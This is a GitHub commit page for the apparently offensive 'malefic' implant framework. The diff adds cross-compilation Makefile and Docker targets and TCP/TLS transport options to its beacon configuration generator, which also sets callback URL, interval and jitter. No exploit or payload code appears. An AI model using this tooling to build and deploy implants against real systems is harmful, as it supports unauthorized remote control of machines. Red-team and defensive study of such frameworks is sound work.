Skip to content

Commit ded71c4

Browse files
committed
feat: Support compiling community versions of GNU toolchain and Docker
1 parent 8bd3491 commit ded71c4

File tree

20 files changed

+154
-40
lines changed

20 files changed

+154
-40
lines changed

.gitignore

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
/target
2+
implantpb.rs
3+
/Cargo.lock
4+
.vscode
5+
.DS_store
6+
.idea

Cargo.toml

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
members = [
33
"malefic",
44
"malefic-modules",
5-
"malefic-win-kit",
65
"malefic-helper",
76
"malefic-trait",
87
"malefic-config"

Dockerfile

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,4 +11,10 @@ ENV PATH=$PATH:/root/.cargo/bin
1111
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && \
1212
. "$HOME/.cargo/env" && \
1313
rustup default nightly && \
14-
rustup target add x86_64-pc-windows-gnu
14+
rustup toolchain install nightly-2023-12-12 && \
15+
rustup target add x86_64-pc-windows-gnu && \
16+
rustup target add i686-pc-windows-gnu && \
17+
rustup target add x86_64-unknown-linux-gnu && \
18+
rustup target add i686-unknown-linux-gnu && \
19+
rustup target add x86_64-apple-darwin && \
20+
rustup target add aarch64-apple-darwin

Makefile

Lines changed: 49 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,54 @@ commuinty_run: profile_community
2626
professional_run: profile_professional
2727
cargo run --release -p malefic
2828

29+
.ONESHELL:
30+
community_win64: profile_community
31+
cargo build --release -p malefic --target x86_64-pc-windows-gnu
32+
33+
.ONESHELL:
34+
community_win32: profile_community
35+
cargo build --release -p malefic --target i686-pc-windows-gnu
36+
37+
.ONESHELL:
38+
professional_win64: profile_community
39+
cargo build --release -p malefic --target x86_64-pc-windows-gnu
40+
41+
.ONESHELL:
42+
professional_win32: profile_professional
43+
cargo build --release -p malefic --target i686-pc-windows-gnu
44+
45+
.ONESHELL:
46+
professional_linux64: profile_professional
47+
cargo build --release -p malefic --target x86_64-unknown-linux-gnu
48+
49+
.ONESHELL:
50+
professional_linux64: profile_professional
51+
cargo build --release -p malefic --target x86_64-unknown-linux-gnu
52+
53+
.ONESHELL:
54+
community_linux32: profile_community
55+
cargo build --release -p malefic --target i686-unknown-linux-gnu
56+
57+
.ONESHELL:
58+
professional_darwin64: profile_professional
59+
cargo build --release -p malefic --target x86_64-apple-darwin
60+
61+
.ONESHELL:
62+
community_darwin64: profile_community
63+
cargo build --release -p malefic --target x86_64-apple-darwin
64+
65+
.ONESHELL:
66+
community_darwin_arm64: profile_community
67+
cargo build --release -p malefic --target aarch64-apple-darwin
68+
69+
.ONESHELL:
70+
professiona_darwin_arm64: profile_professional
71+
cargo build --release -p malefic --target aarch64-apple-darwin
72+
2973
.ONESHELL:
3074
debug: profile_professional
31-
cargo run -p malefic
75+
cargo run -p malefic
76+
77+
.ONESHELL:
78+
debug_community: profile_community
79+
cargo run -p malefic

config.yaml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@ server:
22
name: "malefic"
33
urls:
44
- "127.0.0.1:5001"
5+
protocol: "tcp"
6+
tls: false
57
proxy: ""
68
interval: 1000
79
jitter: 10

config_schema.json

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,12 @@
88
"type": "array",
99
"items": { "type": "string" }
1010
},
11+
"protocol" : { "type": "string" },
12+
"tls": { "type": "boolean" },
1113
"interval": { "type": "integer" },
1214
"jitter": { "type": "integer" }
1315
},
14-
"required": ["urls", "interval", "jitter"]
16+
"required": ["urls", "interval", "protocol", "tls", "jitter"]
1517
},
1618
"implants": {
1719
"type": "object",

docker-compose.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,4 +9,4 @@ services:
99
volumes:
1010
- ./:/root/src/
1111
working_dir: /root/src
12-
command: bash -c "cargo clean && cargo build --target x86_64-pc-windows-gnu --release"
12+
command: tail -f /dev/null

malefic-config/src/main.rs

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,8 @@ struct Implant {
2828
struct Service {
2929
name: String,
3030
urls: Vec<String>,
31+
protocol: String,
32+
tls: bool,
3133
proxy: String,
3234
interval: u64,
3335
jitter: u64,
@@ -139,6 +141,12 @@ lazy_static! {
139141
static ref NORMAL:String = "NORMAL".to_string();
140142
static ref DYNAMIC: String = "DYNAMIC".to_string();
141143
static ref SYSCALLS: String = "SYSCALLS".to_string();
144+
145+
static ref TCP: String = "tcp".to_string();
146+
static ref COMMON_TRANSPORT_TCP: String = "Common_Transport_Tcp".to_string();
147+
static ref COMMON_TRANSPORT_TLS: String = "Common_Transport_Tls".to_string();
148+
static ref PROTOCOL_TCP: String = "protocol_tcp".to_string();
149+
static ref PROTOCOL_TLS: String = "protocol_tls".to_string();
142150
}
143151

144152

@@ -200,8 +208,8 @@ fn main() {
200208
let config = load_yaml_config(&CONFIG_YAML_PATH);
201209
validate_yaml_config(&CONFIG_YAML_PATH, &CONFIG_SCHEMA_PATH);
202210
update_core(config.server.clone());
203-
update_core_toml(&CONFIG_CORE_TOML_PATH, config.implants.clone(), professional);
204-
update_winkit_toml(&CONFIG_WINKIT_TOML_PATH, config.implants.clone(), professional);
211+
update_core_toml(&CONFIG_CORE_TOML_PATH, config.implants.clone(), config.server.clone(), professional);
212+
// update_winkit_toml(&CONFIG_WINKIT_TOML_PATH, config.implants.clone(), professional);
205213
update_module_toml(&CONFIG_MODULE_TOML_PATH, config.implants.modules.clone(), professional);
206-
update_helper_toml(&CONFIG_HELPER_TOML_PATH, professional);
214+
update_helper_toml(&CONFIG_HELPER_TOML_PATH, config.server.clone(), professional);
207215
}

malefic-config/src/update_core.rs

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ pub fn update_core(server: Service) {
3535
buf.push_str(");\n");
3636

3737
if server.ca.is_empty() {
38-
buf.push_str("pub static CA: &'static [u8] = vec![1;0];");
38+
buf.push_str("pub static CA: &'static [u8] = b\"1\";");
3939
} else {
4040
let ca = std::format!(
4141
"pub static CA: &'static [u8] = include_bytes!(\"{}\");",
@@ -49,7 +49,7 @@ pub fn update_core(server: Service) {
4949
}
5050

5151

52-
pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, professional: bool) {
52+
pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, service: Service, professional: bool) {
5353
let cargo_toml_content = fs::read_to_string(cargo_toml_path)
5454
.expect("Failed to read Cargo.toml file");
5555

@@ -62,6 +62,12 @@ pub fn update_core_toml(cargo_toml_path: &str,implant_config: ImplantConfig, pro
6262
if implant_config.register_info {
6363
default_array.push("register_info".to_string());
6464
}
65+
if service.tls {
66+
default_array.push("protocol_tls".to_string());
67+
} else {
68+
default_array.push("protocol_tcp".to_string());
69+
}
70+
6571
features[&"default"] = Item::Value(default_array.into());
6672
}
6773

malefic-config/src/update_helper.rs

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,15 @@ use std::fs;
22

33
use toml_edit::{Array, DocumentMut, InlineTable, Item, Table, Value};
44

5-
use crate::{CFG_TARGET_OS_WINDOWS, CONFIG_COMMUNITY, CONFIG_MALEFIC_WIN_KIT_PATH, CONFIG_PROFESSIONAL, DEFAULT, DEPENDENCES, DEPENDENCICES, FEATURES, MALEFIC_WIN_KIT, PATH, TARGET};
5+
use crate::{Service, CFG_TARGET_OS_WINDOWS, COMMON_TRANSPORT_TCP, COMMON_TRANSPORT_TLS, CONFIG_COMMUNITY, CONFIG_MALEFIC_WIN_KIT_PATH, CONFIG_PROFESSIONAL, DEFAULT, DEPENDENCES, DEPENDENCICES, FEATURES, MALEFIC_WIN_KIT, PATH, TARGET};
66

7-
pub fn update_helper_toml(cargo_toml_path: &str, professional: bool) {
7+
pub fn update_helper_toml(cargo_toml_path: &str, service: Service, professional: bool) {
88
let cargo_toml_content = fs::read_to_string(cargo_toml_path)
99
.expect("Failed to read Cargo.toml file");
1010

1111
let mut cargo_toml: DocumentMut = cargo_toml_content.parse()
1212
.expect("Failed to parse Cargo.toml file");
13+
// Set the default feature to community or professional
1314
if let Some(features) = cargo_toml[&FEATURES].as_table_mut() {
1415
if let Some(default_array) = features[&DEFAULT].as_array_mut() {
1516
if !professional {
@@ -26,6 +27,24 @@ pub fn update_helper_toml(cargo_toml_path: &str, professional: bool) {
2627
}
2728
}
2829
}
30+
31+
// Set the default feature common
32+
if let Some(features) = cargo_toml[&FEATURES].as_table_mut() {
33+
if let Some(default_array) = features[&DEFAULT].as_array_mut() {
34+
if service.tls {
35+
if default_array.iter().find(|x| x.as_str().unwrap() == &COMMON_TRANSPORT_TLS.to_string()).is_none() {
36+
default_array.push(COMMON_TRANSPORT_TLS.to_string());
37+
}
38+
default_array.retain(|x| x.as_str().unwrap() != &COMMON_TRANSPORT_TCP.to_string());
39+
} else {
40+
if default_array.iter().find(|x| x.as_str().unwrap() == &COMMON_TRANSPORT_TCP.to_string()).is_none() {
41+
default_array.push(COMMON_TRANSPORT_TCP.to_string());
42+
}
43+
default_array.retain(|x| x.as_str().unwrap() != &COMMON_TRANSPORT_TLS.to_string());
44+
}
45+
}
46+
}
47+
2948
if let Some(target) = cargo_toml[&TARGET].as_table_mut() {
3049
if let Some(target_os) = target[&CFG_TARGET_OS_WINDOWS].as_table_mut() {
3150
if let Some(dependencies) = target_os[&DEPENDENCICES].as_table_mut() {

0 commit comments

Comments
 (0)